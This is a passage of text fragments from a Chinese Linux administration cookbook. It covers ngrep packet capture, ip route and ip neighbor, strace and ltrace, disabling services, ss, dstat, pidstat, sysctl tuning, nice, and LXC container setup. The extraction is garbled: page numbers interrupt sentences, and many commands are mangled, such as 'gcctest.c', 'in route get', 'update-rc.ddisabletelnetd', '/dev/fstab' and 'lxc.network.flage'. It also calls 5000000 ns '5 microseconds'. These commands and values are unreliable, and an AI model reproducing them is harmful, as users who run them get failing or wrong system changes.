    {"text": "下面的例子会监视端口80上的流量并输出内容包含字符串Linux的分组： $>ngrep -q -c 64 Linux port 80 interface: eth0 (192.168.1.0/255.255.255.0) filter: ( port 80 ) and (ip or ip6) match: Linux T 192.168.1.44:36602 -> 152.160.80.35:80 [AP] GET /Training/linux_detail/ HTTP/1.1..Host: noucorp.com..Us er-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20 100101 Firefox/45.0..Accept: text/html,application/xhtml+xm l,application/xml;q=0.9,*/*;q=0.8..Accept-Language: en-US,e n;q=0.5..Accept-Encoding: gzip, deflate..Referer: http://no ucorp.com/Training/..Connection: keep-alive..Cache-Control: max-age=0.... 选项-q指示ngrep只打印分组头部和载荷。"},
    {"text": "11.4 使用 ip 跟踪网络路由 347 11.3.3 工作原理 1 ngrep同样会设置网卡的混杂模式，允许嗅探网络上出现的所有分组，不管是否为发往 本机的。"},
    {"text": "下面的例子在HTTPS连接中监视指定的二进制流： 5 # ngrep -xX '1703030034' port 443 interface: eth0 (192.168.1.0/255.255.255.0) filter: ( port 443 ) and (ip or ip6) match: 0x1703030034 6 ################################################# T 172.217.6.1:443 -> 192.168.1.44:40698 [AP] 17 03 03 00 34 00 00 00 00 00 00 00 07 dd b0 02 ....4........... f5 38 07 e8 24 08 eb 92 3c c6 66 2f 07 94 8b 25 .8..$...<.f/...% 7 37 b3 1c 8d f4 f0 64 c3 99 9e b3 45 44 14 64 23 7.....d....ED.d# 80 85 1b a1 81 a3 d2 7a cd .......z. 井字符号表示被扫描的分组，这些分组中不匹配指定的模式。"},
    {"text": "9 11.4 使用 ip 跟踪网络路由 实用工具ip可以报告网络状态信息，其中包括发送和接收了多少分组、发送的分组类型、如 10 何对分组进行路由等。"},
    {"text": "ip route命令能够输出已知的路由： $ ip route 10.8.0.2 dev tun0 proto kernel scope link src 10.8.0.1 192.168.87.0/24 dev vmnet1 proto kernel scope link src 192.168.87.1 192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.44 default via 192.168.1.1 dev eth0 proto static ip route的输出以空格分隔。"},
    {"text": "通过该命令可以 了解到这种关系是最近重新建立的还是已经变得陈旧（stale）了： $>ip neighbor 192.168.1.1 dev eth0 lladdr 2c:30:33:c9:af:3e STALE 192.168.1.4 dev eth0 lladdr 00:0a:e6:11:c7:dd STALE 172.16.183.138 dev vmnet8 lladdr 00:50:56:20:3d:6c STALE 192.168.1.2 dev eth0 lladdr 6c:f0:49:cd:45:ff REACHABLE 11.5 使用 strace 跟踪系统调用 349 ipneighbor命令的输出显示本系统与默认网关、主机192.168.1.4以及虚拟机172.16.183.138 1 之间在最近一段时间内都没有发生活动，除此之外，主机192.168.1.2刚接入网络不久。"},
    {"text": "如果网络设备出现间歇性的连接故障，有可能是两个设备使用了相同的IP地址。 也有可能是 4 运行了两个DHCP服务器或是手动分配了已经被占用的地址。 如果两个设备使用了相同的IP地址，该IP地址对应的MAC地址会不时发生变化，ipneihbor 5 命令可以帮助我们找出配置不当的设备。"},
    {"text": "route get可以输出当前主机的下一跳地址： $ ip route get 172.16.183.138 7 172.16.183.138 dev vmnet8 src 172.16.183.1 cachemtu 1500 hoplimit 64 上面的输出显示到达虚拟机的路由需要经过地址为172.16.183.1的接口vmnet8。"},
    {"text": "发往此处的 8 分组如果大于1500字节，需要进行分片，经过64跳之后会被丢弃： $ in route get 148.59.87.90 148.59.87.90 via 192.168.1.1 dev eth0 src 192.168.1.3 9 cachemtu 1500 hoplimit 64 如果要将分组送达到Internet上的某个地址，分组需要先通过默认网关离开本地网络，主机上 的eth0接口（IP地址为192.168.1.3）与该网关相连接。"},
    {"text": "12 11.5 使用 strace 跟踪系统调用 14 GNU/Linux系统可能同时运行数百个任务，但是系统中只有一张网卡、一块硬盘、一个键盘 350 第 11 章 觅迹寻踪 等。"},
    {"text": "当你运行应用程序时，它会用到用户空间库（例如printf和fopen这样的函数）和系统空 间库（例如write和open这样的函数）。 如果程序调用printf（或是脚本调用echo命令）格式 化输出字符串，它调用的就是用户空间库函数printf。"},
    {"text": "11.5.1 预备知识 strace是作为开发者软件包（Developer package）的一部分安装的，也可以单独进行安装： $ sudo apt-get install strace $ sudo yum install strace 11.5.2 实战演练 理解strace的一种方法就是编写一个简短的C程序，然后使用strace查看涉及的系统调 用。"},
    {"text": "strace的输出显示了该程序所调用的系统函数： $ cattest.c #include <stdio.h> #include <stdlib.h> #include <string.h> main () { char *tmp; tmp=malloc(100); strcat(tmp, \"testing\"); printf(\"TMP: %s\\n\", tmp); free(tmp); exit(0); } 11.5 使用 strace 跟踪系统调用 351 $ gcctest.c 1 $ strace ./a.out execve(\"./a.out\", [\"./a.out\"], [/* 51 vars */]) = 0 brk(0) = 0x9fc000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7f5000 2 access(\"/etc/ld.so.preload\", R_OK) = -1 ENOENT (No such file or directory) open(\"/etc/ld.so.cache\", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=95195, ...}) = 0 3 mmap(NULL, 95195, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc85c7dd000 close(3) = 0 open(\"/lib64/libc.so.6\", O_RDONLY) = 3 read(3, 4 \"\\177ELF\\2\\1\\1\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0000\\356\\1\\16;\\0\\0\\0\"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1928936, ...}) = 0 mmap(0x3b0e000000, 3750184, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3b0e000000 5 mprotect(0x3b0e18a000, 2097152, PROT_NONE) = 0 mmap(0x3b0e38a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x18a000) = 0x3b0e38a000 mmap(0x3b0e390000, 14632, PROT_READ|PROT_WRITE, 6 MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3b0e390000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7dc000 7 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7db000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7da000 arch_prctl(ARCH_SET_FS, 0x7fc85c7db700) = 0 8 mprotect(0x3b0e38a000, 16384, PROT_READ) = 0 mprotect(0x3b0de1f000, 4096, PROT_READ) = 0 munmap(0x7fc85c7dd000, 95195) = 0 brk(0) = 0x9fc000 9 brk(0xa1d000) = 0xa1d000 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 11), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc85c7f4000 10 write(1, \"TMP: testing\\n\", 13) = 13 exit_group(0) = ? +++ exited with 0 +++ 11 11.5.3 工作原理 第一行是应用程序的标准启动步骤。"},
    {"text": "11.6 使用 ltrace 跟踪动态库函数 和系统函数一样，了解用户空间函数的调用情况同样有用。 ltrace命令和strace功能相似， 不过前者跟踪的是用户空间函数。 11.6.1 预备知识 ltrace命令是作为开发者软件包的一部分安装的。 11.6.2 实战演练 要想跟踪用户空间的动态库调用，只需要把待跟踪的程序放在ltrace命令之后就可以了： $ ltrace myApplication 下面是一个包含了自定义函数调用的示例程序： 11.6 使用 ltrace 跟踪动态库函数 353 $ cat test.c 1 #include <stdio.h> #include <stdlib.h> #include <string.h> int print (char *str) { 2 printf(\"%s\\n\", str); } main () { char *tmp; 3 tmp=malloc(100); strcat(tmp, \"testing\"); print(tmp); free(tmp); 4 exit(0); } $ gcctest.c $ ltrace ./a.out (0, 0, 603904, -1, 0x1f25bc2) = 0x3b0de21160 5 __libc_start_main(0x4005fe, 1, 0x7ffd334a95f8, 0x400660, 0x400650 <unfinished ...> malloc(100) = 0x137b010 strcat(\"\", \"testing\") = \"testing\" 6 puts(\"testing\") = 8 free(0x137b010) = <void> exit(0 <unfinished ...> +++ exited (status 0) +++ 7 在ltrace的输出中，我们看到调用了动态链接函数strcat，但是并没有调用静态链接的本地函 数print。"},
    {"text": "8 11.6.3 工作原理 9 ltrace和strace利用ptrace函数重写了过程链接表（Procedure LinkageTable，PLT） ，该表 负责建立动态库函数调用与实际函数地址之间的映射。"},
    {"text": "下面的例子展示了ltrace -S的输出： 12 $>ltrace -S ./a.out SYS_brk(NULL) = 0xa9f000 SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4ce000 SYS_access(0x3b0dc1d380, 4, 0x3b0dc00158, 0, 0) = -2 14 SYS_open(\"/etc/ld.so.cache\", 0, 01) = 4 354 第 11 章 觅迹寻踪 SYS_fstat(4, 0x7ffd70342bc0, 0x7ffd70342bc0, 0, 0xfefefefefefefeff) = 0 SYS_mmap(0, 95195, 1, 2, 4) = 0x7fcdce4b6000 SYS_close(4) = 0 SYS_open(\"/lib64/libc.so.6\", 0, 00) = 4 SYS_read(4, \"\\177ELF\\002\\001\\001\\003\", 832) = 832 SYS_fstat(4, 0x7ffd70342c20, 0x7ffd70342c20, 4, 0x7fcdce4ce640) = 0 SYS_mmap(0x3b0e000000, 0x393928, 5, 2050, 4) = 0x3b0e000000 SYS_mprotect(0x3b0e18a000, 0x200000, 0, 1, 4) = 0 SYS_mmap(0x3b0e38a000, 24576, 3, 2066, 4) = 0x3b0e38a000 SYS_mmap(0x3b0e390000, 14632, 3, 50, 0xffffffff) = 0x3b0e390000 SYS_close(4) = 0 SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4b5000 SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4b4000 SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4b3000 SYS_arch_prctl(4098, 0x7fcdce4b4700, 0x7fcdce4b3000, 34, 0xffffffff) = 0 SYS_mprotect(0x3b0e38a000, 16384, 1, 0x3b0de20fd8, 0x1f25bc2) = 0 SYS_mprotect(0x3b0de1f000, 4096, 1, 0x4003e0, 0x1f25bc2) = 0 (0, 0, 987392, -1, 0x1f25bc2) = 0x3b0de21160 SYS_munmap(0x7fcdce4b6000, 95195) = 0 __libc_start_main(0x4005fe, 1, 0x7ffd703435c8, 0x400660, 0x400650 <unfinished ...> malloc(100 <unfinished ...> SYS_brk(NULL) = 0xa9f000 SYS_brk(0xac0000) = 0xac0000 <... malloc resumed> ) = 0xa9f010 strcat(\"\", \"testing\") = \"testing\" puts(\"testing\" <unfinished ...> SYS_fstat(1, 0x7ffd70343370, 0x7ffd70343370, 0x7ffd70343230, 0x3b0e38f040) = 0 SYS_mmap(0, 4096, 3, 34, 0xffffffff) = 0x7fcdce4cd000 SYS_write(1, \"testing\\n\", 8) = 8 <... puts resumed> ) = 8 free(0xa9f010) = <void> exit(0 <unfinished ...> SYS_exit_group(0 <no return ...> +++ exited (status 0) +++ 输出结果和strace例子中的一样（sbrk、mmap等）。"},
    {"text": "如果用户空间函数调用了系统空间函数（比如malloc和puts），输出中会显示用户空间函 数被中断（malloc(100 <unfinished...>)），然后在完成系统调用之后恢复(<... malloc resumed>)。"},
    {"text": "12.1 简介 355 1 第 12 章 2 系统调优 3 4 本章内容  识别服务  使用sysctl调优Linux内核 5  使用ss收集套接字数据  使用配置文件调优Linux系统  使用dstat收集系统I/O使用情况  使用nice命令更改调度器优先级  使用pidstat找出资源占用大户 6 12.1 简介 7 没有哪个系统能够满足我们对于速度的追求，任何计算机系统的性能都有提高的余地。"},
    {"text": "没有哪个系统不需要内存，但是数据库服务器通常需要在 11 内存中建立大规模的数据表来执行查询，文件服务器如果配备了大容量的磁盘缓存，效 率会更高。"},
    {"text": "传统的SysV系统 使用/etc/init.d中的脚本。 较新的systemd守护进程除了使用/etc/init.d之外，还用到了systemctl 调用。 还有些发行版使用的是upstart，配置脚本保存在/etc/init中。"},
    {"text": "ps命令可以告诉你运行的是哪一个初始化进程： $ ps -p 1 -o cmd /lib/system/systemd 在上面的例子中，系统显然使用的是sysytemd。 但是在有些发行版中，SysVinit程序只是 实际的init程序的一个符号链接，而且不管你用的是SysVinit、upstart还是systemd，ps命令输出 的总是/sbin/init： 12.2 识别服务 357 $ ps -p 1 -o cmd 1 /sbin/init ps和grep命令可以给出更多的线索： $ ps -eaf | grep upstart 2 或者也可以这样 ps -eaf | grep systemd 3 如果上面的命令返回upstart-udev-bridge或systemd/systemd，则表明系统运行的是 upstart或systemd。"},
    {"text": "该命令在不同的发行版中的输出也不尽相同： 6 $> service --status-all Debian： 7 [ + ] acpid [ - ] alsa-utils [ - ] anacron [ + ] atd 8 [ + ] avahi-daemon [ - ] bootlogs [ - ] bootmisc.sh ... 9 CentOS： abrt-ccpp hook is installed 10 abrtd (pid 4009) is running... abrt-dump-oops is stopped acpid (pid 3674) is running... atd (pid 4056) is running... 11 auditd (pid 3029) is running... ... 可以使用grep命令筛选输出，只显示处于运行状态的服务。 12 Debian： $ service -status-all | grep + 14 358 第 12 章 系统调优 CentOS： $ service -status-all | grep running 你应该把不必要的服务都禁止掉。"},
    {"text": "启用服务： systemctl enable SERVICENAME 禁止服务： systemctl disable SERVICENAME 可以使用下列命令禁止FTP服务： # systemctl disable ftp 12.2 识别服务 359 2. 基于RedHat的系统 1 对于采用了SysV方式初始化脚本（/etc/rc#.d）的系统来说，可以将chkconfig作为前端工 具使用。"},
    {"text": "命令语法如下： 3 # chkconfig -del SERVICENAME # chkconfig -add SERVICENAME 可以使用下列命令禁止HTTPD服务： 4 # chkconfig -del httpd 3. 基于Debian的系统 5 基于Debian的系统提供了update-rc.d工具来控制SysV方式的初始化脚本。"},
    {"text": "6 可以使用下列命令禁止telnet服务： # update-rc.ddisabletelnetd 7 12.2.3 补充内容 以上这些方法会查找在启动时由SysV或systemd初始化脚本所启用的服务。"},
    {"text": "服务文件的格式类似于下面这样： 11 # cat /etc/xinetd.d/talk # description: The talk server accepts talk requests for chatting \\ # with users on other systems. service talk 12 { flags = IPv4 disable = no socket_type = dgram 14 wait = yes 360 第 12 章 系统调优 user = nobody group = tty server = /usr/sbin/in.talkd } 更改disable字段的值就可以启用或禁止服务。"},
    {"text": "编辑完服务文件后，一定要重启xinetd： # cd /etc/init.d # ./inetd restart 12.3 使用 ss 收集套接字数据 由init和xinetd启动的守护进程未必是系统中所运行的全部服务。"},
    {"text": "选项-t可以输出TCP连接 的状态： $ ss -t ESTAB 0 0 192.168.1.44:740 192.168.1.2:nfs ESTAB 0 0 192.168.1.44:35484 192.168.1.4:ssh CLOSE-WAIT 0 0 192.168.1.44:47135 23.217.139.9:http 从命令输出中可以看到有两个连接，分别指向192.168.1.2上的NFS和192.168.1.4上的SSH。"},
    {"text": "12.3 使用 ss 收集套接字数据 361 2. 跟踪侦听端口的应用程序 1 系统服务会打开一个套接字并将其设置为listen（侦听）模式，用于接受来自远程主机的 网络连接。"},
    {"text": "下面的命令显示出了Linux工作站上负责侦听的UDP套接字： $ ss -ul 4 State Recv-Q Send-Q Local Address:Port Peer Address:Port UNCONN 0 0 *:sunrpc *:* UNCONN 0 0 *:ipp *:* 5 UNCONN 0 0 *:ntp *:* UNCONN 0 0 127.0.0.1:766 *:* UNCONN 0 0 *:898 *:* 6 输出显示系统能够接受远程过程调用（Remote Procedure Call，RPC）。"},
    {"text": "该命令在使用时需要有root权限： # lsof -I :898 9 或者 # lsof -n -I :898 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME 10 rpcbind 3267 rpc 7u IPv4 16584 0t0 UDP *:898 rpcbind 3267 rpc 10u IPv6 16589 0t0 UDP *:898 从命令输出中可以看出，侦听端口898的是RPC系统的一部分，并不是骇客。"},
    {"text": "该工具要用到Python 2.2，后者在如 今的Linux系统中都已经默认安装过了： # apt-get installdstat # yum install dstat 12.4.2 实战演练 dstat能够以固定的时间间隔显示出磁盘、网络、内存使用以及所运行任务的相关信息。"},
    {"text": "下面是dstat的输出： $ dstat ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- usr sys idl wai hiq siq| read writ| recv send| in out | int csw 1 2 97 0 0 0|5457B 55k| 0 0 | 0 0 |1702 3177 1 2 97 0 0 0| 0 0 | 15k 2580B| 0 0 |2166 4830 1 2 96 0 0 0| 0 36k|1970B 1015B| 0 0 |2122 4794 第一行输出可以忽略，这些值都是dstat输出的初始化内容。"},
    {"text": "尽 12.4 使用 dstat 收集系统 I/O 使用情况 363 管换页机制可以让系统运行比原先更多的程序，但是磁盘的访问速度要比内存慢了数千倍，由此 1 也会相应地拖慢系统的运行速度。"},
    {"text": "） 3 在每一次系统调用（参考第11章中讲过的strace和ltrace）或者时间片到期，轮到另一个 进程访问CPU的时候都会发生上下文切换（context switch，csw）。"},
    {"text": " --top-bio：用于描述磁盘使用情况，可以显示出执行块I/O最多的进程。 8  --top-cpu：用于描述CPU使用情况，可以显示出CPU占用率最高的进程。  --top-io：用于描述I/O使用情况，可以显示出执行I/O操作最多的进程（通常是网络I/O）。  --top-latency：用于描述系统负载情况，可以显示出延迟最高的进程。 9  --top-mem：用于描述内存使用情况，可以显示出占用内存最多的进程。"},
    {"text": "下面的例子显示了CPU和网络的使用情况以及占用这两种资源最多的进程： 10 $ dstat -c --top-cpu -n --top-io ----total-cpu-usage---- -most-expensive- -net/total- ----most-expensive---- usr sys idl wai hiq siq| cpu process | recv send| i/o process 1 2 97 0 0 0|vmware-vmx 1.0| 0 0 |bash 26k 2B 11 2 1 97 0 0 0|vmware-vmx 1.7| 18k 3346B|xterm 235B 1064B 2 2 97 0 0 0|vmware-vmx 1.9| 700B 1015B|firefox 82B 32k 在有虚拟机运行的系统中，虚拟机占用的CPU时间最多，但执行的I/O操作却不是最多的。"},
    {"text": "14 364 第 12 章 系统调优 12.5 使用 pidstat 找出资源占用大户 dstat的选项--top-io和--top-cpu能够找出占用资源最多的进程，但如果某个资源占用 大户存在多个运行实例的话，单凭这两个选项不足以追查出问题所在。"},
    {"text": "输出上下文切换活动： $ pidstat -w | head -5 Linux 2.6.32-642.11.1.el6.x86_64 (rtdaserver.cflynt.com) 02/15/2017 _x86_64_ (12 CPU) 11:18:35 AM PID cswch/s nvcswch/s Command 11:18:35 AM 1 0.00 0.00 init 11:18:35 AM 2 0.00 0.00 kthreadd pidstat的输出是按照PID排序的。"},
    {"text": "下面的命 令显示了每秒钟发生上下文切换次数（选项-w输出中的第4列）最多的前5个进程： $ pidstat -w | sort -nr -k 4 | head -5 11:13:55 AM 13054 351.49 9.12 vmware-vmx 11:13:55 AM 5763 37.57 1.10 vmware-vmx 11:13:55 AM 3157 27.79 0.00 kondemand/0 11:13:55 AM 3167 21.18 0.00 kondemand/10 11:13:55 AM 3158 21.17 0.00 kondemand/1 12.5.3 工作原理 pidstat通过查询内核来获取任务信息。"},
    {"text": "sort和head命令减少了数据量，让我们可以将注 12.6 使用 sysctl 调优 Linux 内核 365 意力集中在霸占资源的程序上面。 1 12.6 使用 sysctl 调优 Linux 内核 2 Linux内核包含了大约1000个可调节的参数。"},
    {"text": "下面的例子查看了kernel.sched_migration_ cost_ns的值： $ sysctl.kernel.shed_migration_cost_ns 11 kernel.sched_migration_cost_ns = 500000 kernel.sched_migration_cost_ns（在比较旧的内核中是kernel.sched_migration n_cost） 控制着任务在被切换之前能够保持活跃状态的时长。"},
    {"text": "建议将这个值修改为5微秒： 14 # sysctlkernel.sched_migration_cost_ns=5000000 366 第 12 章 系统调优 在有些系统中（尤其是Postgres服务器），取消参数sched_autogroup_enabled的设置能够 提高性能。"},
    {"text": "检查读缓存的最大值： $ sysctlnet.core.rmem_max net.core.rmem_max = 124928 增加缓存大小： # sysctlnet.core.rmem_max=16777216 # sysctlnet.core.wmem_max=16777216 # sysctl net.ipv4.tcp_rmem=\"4096 87380 16777216\" # sysctl net.ipv4.tcp_wmem=\"4096 65536 16777216\" # sysctl net.ipv4.tcp_max_syn_backlog=4096 12.6.3 工作原理 sysctl命令可以直接访问内核参数。"},
    {"text": "挂载选项noatime和relatime可以降低磁盘颠簸（disk thrashing）： 5 $ cat /dev/fstab /dev/mapper/vg_example_root / ext4 defaults,noatime 1 1 /dev/mapper/gb_example_spool /var ext4 defaults,relatime 1 1 6 12.7.3 工作原理 7 在上面的例子中，在挂载/分区（包括/bin和/usr/bin）时使用了常见的默认选项以及 noatime选项，该选项禁止在每次访问文件时更新磁盘数据。"},
    {"text": "12 12.8.1 实战演练 不加任何参数的nice命令会输出任务的当前优先级： 14 368 第 12 章 系统调优 $ cat nicetest.sh echo \"my nice is `nicè\" $ sh nicetest.sh my nice is 0 在nice后面跟上另一个命令名，会以10为优先级运行该命令①，也就是在任务默认优先级值 上加10： $ nicesh nicetest.sh my nice is 10 如果在nice后面所跟的命令名之前加上一个值，那么就会以指定的优先级执行该命令： $ nice -15 sh nicetest.sh my nice is 15 只有超级用户能够指定负值来提升任务的优先级（更小的数字）： # nice -adjustment=-15 nicetest.sh my nice is -15 12.8.2 工作原理 nice命令会修改内核的调度表，以更高或更低的优先级运行任务。"},
    {"text": "调用renice命令时需要指定新的优先级值以及进程ID（PID）： $ renice 10 12345 12345: old priority 0, new priority 10 —————————— ① 这里的10也可以认为代表的是任务的友善度（niceness）。"},
    {"text": "13.1 简介 369 1 第 13 章 2 在 云 端 3 4 本章内容 5  使用Linux容器  在Linux中使用虚拟机  使用Docker  云端的Linux 6 13.1 简介 7 现代Linux应用可以部署在专门的硬件、容器、虚拟机（VM）或是云端。"},
    {"text": "8 如果你想部署单个应用的多个副本，每个副本都需要有自己的私有数据，那么容器就是一种 理想的选择。 例如，容器可以很好地同数据库驱动的Web服务器配合工作，其中每个服务器使用 9 相同的Web基础设施，同时拥有私有数据。"},
    {"text": "10 如果实例需要各不相同的完整运行环境，虚拟机是最好的方案。 借助于虚拟机，你可以在单 个主机上运行Windows和Linux。 如果不想在产品测试的时候摆上一大堆测试用机，但又需要在 11 不同的发行版和操作系统上测试，应该考虑使用虚拟机。"},
    {"text": "如果应用程序的规模会扩展或是使用模式上呈现出周期性的变 化，那么能够在不用购买或租借新的硬件或带宽情况下实现资源的快速扩充或缩减就很有必要 了。"},
    {"text": "在Ubuntu中，使用下列命令： # apt-get install lxc1 Debian可能只在/egc/apt/sources.list中包含了安全仓库。 如果是这样的话，你需要将debhttp:// ftp.us.debian.org/debian stretch main contrib添加到/etc/apt/sources.list中，然后执行apt-get update before，载入lxc包： 13.2 使用 Linux 容器 371 # apt-get install lxc1 1 在OpenSuSE中，使用下列命令： # zypper install lxc 2 RedHat, Fedora: 在基于Red Hat/Fedora的系统中，添加Epel仓库： 3 # yum install epel-release 然后再安装下列软件包： 4 # yum install perl libvirt debootstrap libvirt包提供了联网支持，debootstrap用于运行基于Debian的容器： 5 # yum install lxc lxc-templates tunctl bridge-utils 13.2.2 实战演练 6 lxc包向系统中添加了以下几条命令。"},
    {"text": "这是体验其他发行版或创建依赖非主机Linux发行版的应用程序最简单的方法： $ sudo lxc-create -t download -n ContainerName download模板会从Internet检索可用的预定义容器列表并从中生成容器。"},
    {"text": "如果你的系统用的是Intel的CPU，那就没法运行Arm容器，但是你可以在配 备了64位Intel CPU的系统上运行32位的i386容器： $ sudo lxc-create -t download -n ubuntuContainer ... ubuntu zesty armhf default 20170225_03:49 ubuntu zesty i386 default 20170225_03:49 ubuntu zesty powerpc default 20170225_03:49 ubuntu zesty ppc64el default 20170225_03:49 ubuntu zesty s390x default 20170225_03:49 --- Distribution: ubuntu Release: trusty Architecture: i386 Downloading the image index Downloading the rootfs Downloading the metadata The image cache is now ready Unpacking the rootfs --- You just created an Ubuntu container (release=trusty, arch=i386, variant=default) To enable sshd, run: apt-get install openssh-server For security reason, container images ship without user accounts and without a root password. Use lxc-attach or chroot directly into the rootfs to set a root password or create user accounts. 你可以根据当前使用的发行版创建容器，这只需要选择和该发行版匹配的模板就行了。 /usr/share/lxc/templates中定义了各种模板： 13.2 使用 Linux 容器 373 # ls /usr/share/lxc/templates 1 lxc-busybox lxc-debian lxc-download ... 选择对应的模板，然后运行lxc-create命令就可以为当前发行版创建容器了。"},
    {"text": "下面的例子略去了大部分安装和配置信息： 2 $ cat /etc/issue Debian GNU/Linux 8 $ sudolxc-create -t debian -n debianContainer 3 debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-jessie-i386 ... Downloading debianminimal ... I: Retrieving Release 4 I: Retrieving Release.gpg I: Checking Release signature I: Valid Release signature (key id 75DDC3C4A499F1A18CB5F3C8CBF8D6FD518E17E1) 5 ... I: Retrieving Packages I: Validating Packages I: Checking component main on http://http.debian.net/debian... 6 I: Retrieving acl 2.2.52-2 I: Validating acl 2.2.52-2 I: Retrieving libacl1 2.2.52-2 I: Validating libacl1 2.2.52-2 7 I: Configuring libc-bin... I: Configuring systemd... I: Base system installed successfully. 8 Current default time zone: 'America/New_York' Local time is now: Sun Feb 26 11:38:38 EST 2017. Universal Time is now: Sun Feb 26 16:38:38 UTC 2017. 9 Root password is 'W+IkcKkk', please change ! 上述命令会从包管理器定义的仓库中生成一个新的容器。"},
    {"text": "和其他lxc命令一样，必须提供要启动的容器名称： 11 # lxc-start -n ubuntuContainer 容器在启动过程中有可能会挂起并输出像下面这样的错误信息。"},
    {"text": "这是由于容器在启动时尝试 12 在不具备图形化支持的客户端上执行图形相关的操作（例如显示启动画面）： <4>init: plymouth-upstart-bridge main process (5) terminated with status 1 ... 你可以不去管它，等待这些错误信息超时，或是禁用启动画面。"},
    {"text": "直接附着到容器中的root用户，创建新用户： # lxc-attach -n containerName root@containerName:/# root@containerName:/# useradd -d /home/USERNAME -m USERNAME root@containerName:/# passwd USERNAME Enter new UNIX password: Retype new UNIX password: 然后使用lxc-console命令，以之前创建的非特权用户或root用户身份登录： $ lxc-console -n containerName Connected to tty 1 Type <Ctrl+a q> to exit the console, <Ctrl+aCtrl+a> to enter Ctrl+a itself Login: 3. 停止容器 lxc-stop命令可以停止容器运行： # lxc-stop -n containerName 4 .列出现有容器 lxc-ls命令可以列出当前用户可用的容器名称。 这些容器只是当前用户所拥有的，并非系 统中所有的容器： $ lxc-ls container1Name container2Name... 5. 显示容器信息 lxc-info命令可以显示容器信息： $ lxc-info -n containerName Name: testContainer State: STOPPED 该命令只会显示单个容器的信息。 我们可以利用第1章中讲过的shell循环显示出所有的容器信息： $ for c in `lxc-ls` do lxc-info -n $c echo done Name: name1 13.2 使用 Linux 容器 375 State: STOPPED 1 Name: name2 State: RUNNING PID: 1234 2 IP 10.0.3.225 CPU use: 4.48 seconds BlkIO use: 728.00 KiB Memory use: 15.07 MiB 3 KMem use: 2.40 MiB Link: vethMU5I00 TX bytes: 20.48 KiB RX bytes: 30.01 KiB 4 Total bytes: 50.49 KiB 如果容器处于停止状态，则不会有状态信息输出。"},
    {"text": "这个包是启动非特权容器的前提条件： # apt-get install cgmanager uidmap systemd-services 9 启动cgmanager： $ sudo service cgmanager start 10 Debian系统可能还需要启用克隆支持。"},
    {"text": "如果在创建容器时出现chown错误，使用下面的命令 来解决： 11 # echo 1 > /sys/fs/cgroup/cpuset/cgroup.clone_children # echo 1 > /proc/sys/kernel/unprivileged_userns_clone 允许创建容器的用户名必须包含在/etc下的映射表中： 12 $ sudo usermod --add-subuids 100000-165536 $USER $ sudo usermod --add-subgids 100000-165536 $USER $ sudo chmod +x $HOME 上述命令将用户添加到User ID和Group ID映射表中（/etc/subuid和/etc/subgid）并将范围在 100 000至165 536之间的UID分配给该用户。"},
    {"text": "13 376 第 13 章 在云端 接下来，设置容器的配置文件： $ mkdir ~/.config/lxc $ cp /etc/lxc/default.conf ~/.config/lxc 将下面两行添加到~/.config/lxc/default.conf： lxc.id_map = u 0 100000 65536 lxc.id_map = g 0 100000 65536 如果容器支持网络访问，将下面一行添加到/etc/lxc/lxc-usernet，该行定义了谁能够访问网桥： USERNAME veth BRIDGENAME COUNT 在这里，USERNAME是容器的所有者。"},
    {"text": "在 Fedora中创建网桥时，首先需要使用libvirt包创建虚拟网桥： # systemctl start libvirtd 然后，编辑/etc/lxc/default.conf，将其中的引用由lxcbr0改为virbr0： lxc.network_link = virbr0 如果你已经创建好了容器，按照上面的方法修改容器的配置文件。"},
    {"text": "编辑/etc/lxc/default.conf，将默认值为empty的配置项注释掉，然后加入lxc网桥的定义： # lxc.network.type = empty lxc.network.type = veth lxc.network.link = lxcbr0 lxc.network.flage = up 接下来，创建网桥： # systemctl enable lxc-net # systemctl start lxc-net 经过这些设置之后，新创建的容器就可以联网了。 将lxc.network这几行加入到已有容器的配 置文件中，就可以为其添加网络支持。"},
    {"text": "特权容器位于/var/lib/lxc。 非特权容器位于$HOME/.local/lxc： 2 $ ls /var/lib/lxc/CONTAINERNAME configrootfs 3 你可以通过编辑容器顶层目录下的config文件来检查或修改容器的配置： # vim /var/lib/lxc/CONTAINERNAME/config 4 rootfs目录中包含的就是容器的根文件系统。 其内容正是运行中的容器的根目录（/）： # ls /var/lib/lxc/CONTAINERNAME/rootfs Bin boot cdrom dev etc home lib media mnt proc 5 Root run sbin sys tmp usr var 你可以通过添加、删除或修改rootfs目录中的文件来改变容器的内容。"},
    {"text": "Docker的设计哲学使得我们很容易从小的构建块（building block）入手来构造系统，但也增 11 加了开发构建块的难度，因为在完整的Linux系统中（包括crontab表项），需要运行大量的工具 来执行清理、日志回卷等操作。"},
